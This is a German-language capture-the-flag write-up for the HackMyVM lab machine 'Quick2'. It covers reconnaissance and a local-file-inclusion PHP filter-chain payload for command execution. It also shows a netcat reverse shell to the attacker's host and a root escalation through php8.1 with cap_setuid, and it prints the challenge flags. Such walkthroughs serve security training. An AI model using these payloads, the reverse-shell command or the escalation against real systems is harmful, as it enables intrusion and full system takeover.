Quick2 - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
gobuster
curl
wfuzz
wget
strings
Burp Suite
nc
getcap
find
grep
php
Linux Exploit Suggester

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Netzwerk-Reconnaissance, um das Zielsystem im lokalen Netzwerk zu identifizieren. Hier verwenden wir arp-scan, um die IP-Adresse und MAC-Adresse des Ziels zu ermitteln.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.123 08:00:27:f8:cc:57 PCS Systemtechnik GmbH

arp-scan hat das Zielsystem mit der IP-Adresse 192.168.2.123 und der MAC-Adresse 08:00:27:f8:cc:57 gefunden. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH, was auf eine virtuelle Maschine hindeutet (Oracle VirtualBox).

Als nächstes verwenden wir nmap, um offene Ports, Dienste und Betriebssysteminformationen auf dem Zielsystem zu identifizieren. Wir führen einen umfassenden Scan mit aktivierter Serviceerkennung, OS-Erkennung und Skriptausführung durch.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.123 -p- | grep open
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

nmap hat die Ports 22 (SSH) und 80 (HTTP) als offen identifiziert. Dies deutet darauf hin, dass ein SSH-Server und ein Webserver auf dem Zielsystem laufen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.123 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-09 23:22 CEST
Nmap scan report for quick2 (192.168.2.123)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 17:c4:c9:b5:94:24:9f:9c:db:33:34:d1:99:b7:23:1e (ECDSA)
|_ 256 ce:83:07:4b:42:70:87:47:37:4d:d9:d6:8d:56:28:62 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:F8:CC:57 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms quick2 (192.168.2.123)

Der vollständige nmap-Scan liefert detailliertere Informationen:

  • Der Hostname ist "quick2".
  • Das Betriebssystem ist Ubuntu Linux.
  • Der Apache-Webserver verwendet Version 2.4.52.
  • Der Titel der Webseite ist "Quick Automative".

Wir verwenden nikto, um den Webserver auf bekannte Schwachstellen und Konfigurationsfehler zu überprüfen.

┌──(root㉿cyber)-[~]
└─# nikto -h http://192.168.2.123
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.123
+ Target Hostname: 192.168.2.123
+ Target Port: 80
+ Start Time: 2024-05-09 23:22:23 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php).
+ /images/: Directory indexing found.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-05-09 23:22:42 (GMT2) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

nikto hat mehrere potenzielle Schwachstellen und Konfigurationsfehler gefunden:

  • Fehlende Header für Clickjacking und Content-Type-Optionen.
  • Offenlegung der internen IP-Adresse (127.0.1.1) im 'location'-Header des /images-Verzeichnisses.
  • Veraltete Apache-Version (2.4.52).
  • Mögliche Local File Inclusion (LFI)-Schwachstelle in index.php.
  • Directory Listing im /images-Verzeichnis aktiviert.

Wir verwenden gobuster, um weitere Dateien und Verzeichnisse auf dem Webserver zu entdecken.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.123 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://192.168.2.123/index.php (Status: 200) [Size: 3825]
http://192.168.2.123/images (Status: 301) [Size: 315] [--> http://192.168.2.123/images/]
http://192.168.2.123/news.php (Status: 200) [Size: 560]
http://192.168.2.123/contact.php (Status: 200) [Size: 1395]
http://192.168.2.123/about.php (Status: 200) [Size: 1446]
http://192.168.2.123/home.php (Status: 200) [Size: 2539]
http://192.168.2.123/file.php (Status: 200) [Size: 200]
http://192.168.2.123/cars.php (Status: 200) [Size: 1502]
http://192.168.2.123/connect.php (Status: 500) [Size: 0]
http://192.168.2.123/send_email.php (Status: 302) [--> contact.php]

gobuster hat mehrere PHP-Dateien und das images-Verzeichnis gefunden. Besonders interessant ist die file.php, die in Kombination mit der von nikto gefundenen LFI-Schwachstelle ausgenutzt werden könnte. Die connect.php gibt einen 500-Fehler zurück, was auf einen Konfigurationsfehler hindeutet.

Initial Access

Wir nutzen die von nikto identifizierte LFI-Schwachstelle, um die Datei /etc/passwd auszulesen und die vorhandenen Benutzer zu identifizieren.

┌──(root㉿cyber)-[~]
└─# curl -s http://192.168.2.123/index.php?page=../../../../../../../../../../etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
andrew:x:1000:1000:Andrew Speed:/home/andrew:/bin/bash
nick:x:1001:1001:Nick Greenhorn,,,:/home/nick:/bin/bash

Durch die LFI-Schwachstelle konnten wir die Benutzer root, andrew und nick identifizieren. Diese Information ist nützlich für spätere Angriffe.

Proof of Concept: Local File Inclusion

Im Folgenden demonstrieren wir, wie die identifizierte LFI-Schwachstelle in index.php in Kombination mit der file.php ausgenutzt werden kann, um beliebige Dateien auf dem Zielsystem auszulesen und schließlich Code auszuführen.

Wir versuchen, die Datei style.css über die LFI-Schwachstelle und den file Parameter auszulesen.



404 Not Found

Not Found


The requested URL was not found on this server.




Apache/2.4.52 (Ubuntu) Server at 192.168.2.123 Port 80

Das Auslesen der style.css Datei schlägt fehl und wir erhalten eine 404 Not Found Meldung

Um die LFI-Schwachstelle auszunutzen und Befehle auszuführen, verwenden wir einen PHP-Filter-Chain-Generator, um einen Payload zu erstellen, der den Parameter cmd aus der GET-Anfrage ausliest und ausführt.

┌──(root㉿cyber)-[~/Hackingtools/php_filter_chain_generator]
└─# python3 php_filter_chain_generator.py --chain ''
[+] The following gadget chain will generate the following code : (base64 value: PD89YCRfR0VUW2NtZF1gPz4) php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICDE|convert.iconv.CSISLATIN5.IS_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.IS6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.IS_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM

Die Ausgabe ist sehr lang, da sie den kompletten Payload enthält, der für die Ausführung des Befehls id erforderlich ist.

GET /file.php?file=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICDE|convert.iconv.CSISLATIN5.IS_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.IS6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.IS_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICDE|convert.iconv.IS-IR-156.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=ls HTTP/1.1 Host: 192.168.2.123 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://192.168.2.123/file.php?file= Upgrade-Insecure-Requests: 1
about.php
cars.php
connect.php
contact.php
file.php
home.php
images
index.php
maintenance_and_repair.php
news.php
send_email.php
styles.css

Die Ausführung des Befehls ls über die LFI-Schwachstelle liefert eine Liste der Dateien im Webverzeichnis. Dies bestätigt, dass die Schwachstelle erfolgreich ausgenutzt werden kann.

Nachdem wir uns versichert haben das die LFI Funktioniert und wir Befehle ausführen können versuchen wir jetzt eine Reverse Shell zu bekommen.

GET /file.php?file=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICDE|convert.iconv.CSISLATIN5.IS_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.IS6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.IS_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=nc%20-e%20/bin/bash%20192.168.2.199%204321 HTTP/1.1

Wir verwenden wieder den PHP-Filter um ein Reverse Shell zu starten.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4321
listening on [any] 4321 ...
bash: cannot set terminal process group (25275): Inappropriate ioctl for device
bash: no job control in this shell
www-data@quick2:/var/www/html$

Die Reverse Shell als www-data wurde erfolgreich gestartet.

www-data@quick2:/var/www/html$ ls -la
total 56
drwxr-xr-x 3 root root 4096 Jan 29 19:13 .
drwxr-xr-x 3 root root 4096 Jan 12 21:03 ..
-rw-r--r-- 1 andrew andrew 1446 Nov 27 20:25 about.php
-rw-r--r-- 1 andrew andrew 1502 Dec 4 07:56 cars.php
-rw-r--r-- 1 andrew andrew 254 Nov 24 09:55 connect.php
-rw-r--r-- 1 andrew andrew 1395 Nov 27 20:01 contact.php
-rw-r--r-- 1 www-data www-data 290 Jan 12 21:28 file.php
-rw-r--r-- 1 andrew andrew 2539 Jan 14 10:15 home.php
drwxr-xr-x 2 andrew andrew 4096 Dec 4 09:02 images
-rw-r--r-- 1 andrew andrew 1537 Jan 29 19:13 index.php
-rw-r--r-- 1 andrew andrew 853 Jan 13 19:54 maintenance_and_repair.php
-rw-r--r-- 1 root root 560 Jan 14 11:16 news.php
-rw-r--r-- 1 andrew andrew 593 Nov 24 13:01 send_email.php
-rw-r--r-- 1 andrew andrew 4038 Dec 4 08:39 styles.css
www-data@quick2:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@quick2:/var/www/html$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1818 Jan 14 10:14 /etc/passwd

Wir listen das /etc/passwd aus, um die User zu bestätigen.

www-data@quick2:/var/www/html$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/php8.1 cap_setuid=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/snap/core20/1405/usr/bin/ping cap_net_raw=ep

Wir suchen nach Dateien mit Capabilities und finden das php8.1 das Cap_setuid hat.

Privilege Escalation

www-data@quick2:/tmp$ CMD="/bin/bash"
www-data@quick2:/tmp$ php8.1 -r "posix_setuid(0); system('$CMD');"
root@quick2:/tmp# id
uid=0(root) gid=33(www-data) groups=33(www-data)

Wir haben erfolgreich unsere Privilegien erhöht und sind nun Root.

Privilege Escalation erfolgreich

Flags

cat root.txt
HMV{This-was-a-Quick-AND-fast-machine}
cat user.txt
HMV{Its-gonna-be-a-fast-ride}

Root-Flag: HMV{This-was-a-Quick-AND-fast-machine}

User-Flag: HMV{Its-gonna-be-a-fast-ride}